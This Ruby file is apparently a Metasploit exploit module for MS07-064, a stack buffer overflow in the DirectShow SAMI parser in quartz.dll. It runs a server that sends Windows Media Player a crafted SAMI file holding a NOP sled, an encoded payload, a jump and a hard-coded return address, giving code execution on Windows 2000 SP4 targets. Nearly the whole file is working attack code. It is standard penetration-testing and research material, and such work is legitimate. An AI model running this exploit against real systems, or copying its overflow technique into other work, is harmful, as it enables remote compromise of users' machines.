##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'MS07-064 Microsoft DirectX DirectShow SAMI Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in the DirectShow Synchronized
          Accessible Media Interchanged (SAMI) parser in quartz.dll. This module
          has only been tested with Windows Media Player (6.4.09.1129) and
          DirectX 8.0.
        },
        'Author' => 'MC',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2007-3901' ],
          [ 'OSVDB', '39126' ],
          [ 'MSB', 'MS07-064' ],
          [ 'BID', '26789' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 600,
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows 2000 Pro SP4 English', { 'Offset' => 22412, 'Ret' => 0x75022ac4 } ],
        ],
        'Privileged' => false,
        'DisclosureDate' => '2007-12-11',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def on_client_connect(client)
    return if ((p = regenerate_payload(client)) == nil)

    client.get_once

    buffer = make_nops(target['Offset'] - payload.encoded.length) + payload.encoded
    buffer << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    buffer << make_nops(10) + [0xe8, -485].pack('CV') + rand_text_english(132324)

    header = "HTTP/1.1 200 OK\r\n"
    header << "Content-Type: application/smil\r\n\r\n"

    body = "<SAMI>\r<HEAD>\r<STYLE TYPE=\"text/css\">\r"
    body << "<!--\rP {font-size: 1em;\rfont-family: Arial;\r"
    body << "font-weight: normal;\rcolor: #FFFFFF;\r"
    body << "background: #FFFFFF;\rtext-align: center;\r"
    body << "padding-left: 2px;\rpadding-right: 2px;\r"
    body << "padding-bottom: 2px;\r}\r.ENUSCC { Name: English; lang: EN-US-CC; }\r"
    body << "-->\r</STYLE>\r</HEAD>\r<BODY>\r"
    body << "<SYNC Start=\"0\" pippo=\"" + buffer
    body << "\"><P Class=\"ENUSCC\"></P></SYNC></BODY></SAMI>"

    sploit = header + body

    print_status("Sending #{sploit.length} bytes to #{client.peerhost}:#{client.peerport}...")

    client.put(sploit)
    handler(client)

    service.close_client(client)
  end
end
